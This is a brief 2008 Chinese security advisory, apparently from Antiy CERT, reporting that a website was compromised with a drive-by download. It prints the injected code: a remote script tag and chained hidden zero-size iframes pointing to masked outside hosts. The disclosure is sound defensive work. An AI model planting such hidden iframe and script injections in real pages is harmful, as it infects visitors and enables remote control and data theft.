警告：中国网络战队网站遭挂马
作者: 安天CERT, 出处:IT专家网, 责任编辑: 张帅,
2008-01-04 17:01
近日，中国网络战队网站(http://www.chnping.com/)被黑客植入病毒，用户如果访问该网站，系统就会自动从恶意网站上下载并运行恶意程序……
近日安天实验室发现，中国网络战队网站(http://www.chnping.com/)被黑客植入病毒，用户如果访问该网站，系统就会自动从恶意网站上下载并运行恶意程序。被感染病毒的用户系统可能被远程控制，盗取用户敏感信息。甚至导致死机。
该网站被插入代码：
| <script language='javascript' src='http://20****.com/AD/200712/29.js'></script><iframe src=http://xxx.hao****.com/xx.htm?id=017 width=0 height=0> </iframe><iframe src=http://www.123dong****.cn/gg.htm width=20 height=0></iframe> |
http://203****n.com/AD/200712/29.js关键代码：
| objAD.ADIntro = "<iframe src=http://pr.74****.com/ww/new05. htm?123 width=0 height=0></iframe>\n\r <iframe src=http://163.jiu****.com/wz/4.htm width=20 height=0> </iframe>\n\r<iframe src=http://www.t****.cn /top.htm width=1 height=1></iframe>"; |
http://pr.74****.com/ww/new05.htm?123代码如下：
| <iframe src=http://pr.74****.com/dm/dy.htm width=1 height=1> </iframe> <iframe src=http://pr.74****.com/dm/rl.htm width=1 height=1> </iframe> |
- 本文关键词：
